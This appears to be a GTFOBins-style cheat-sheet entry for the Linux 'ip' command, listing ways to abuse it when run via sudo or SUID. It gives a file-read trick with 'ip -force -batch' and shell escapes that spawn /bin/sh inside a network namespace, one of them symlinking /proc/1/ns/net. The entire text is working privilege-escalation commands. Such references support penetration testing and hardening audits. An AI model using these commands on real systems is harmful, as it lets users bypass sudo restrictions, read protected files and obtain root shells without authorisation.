ip

File Read

Context: sudo, suid, unprivileged

ip -force -batch /path/to/input-file

Shell

Context: sudo, suid

ip netns add foo
ip netns exec foo /bin/sh
ip netns delete foo

Context: sudo

ip netns add foo
ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar
ip netns exec bar /bin/sh
ip netns delete foo
ip netns delete bar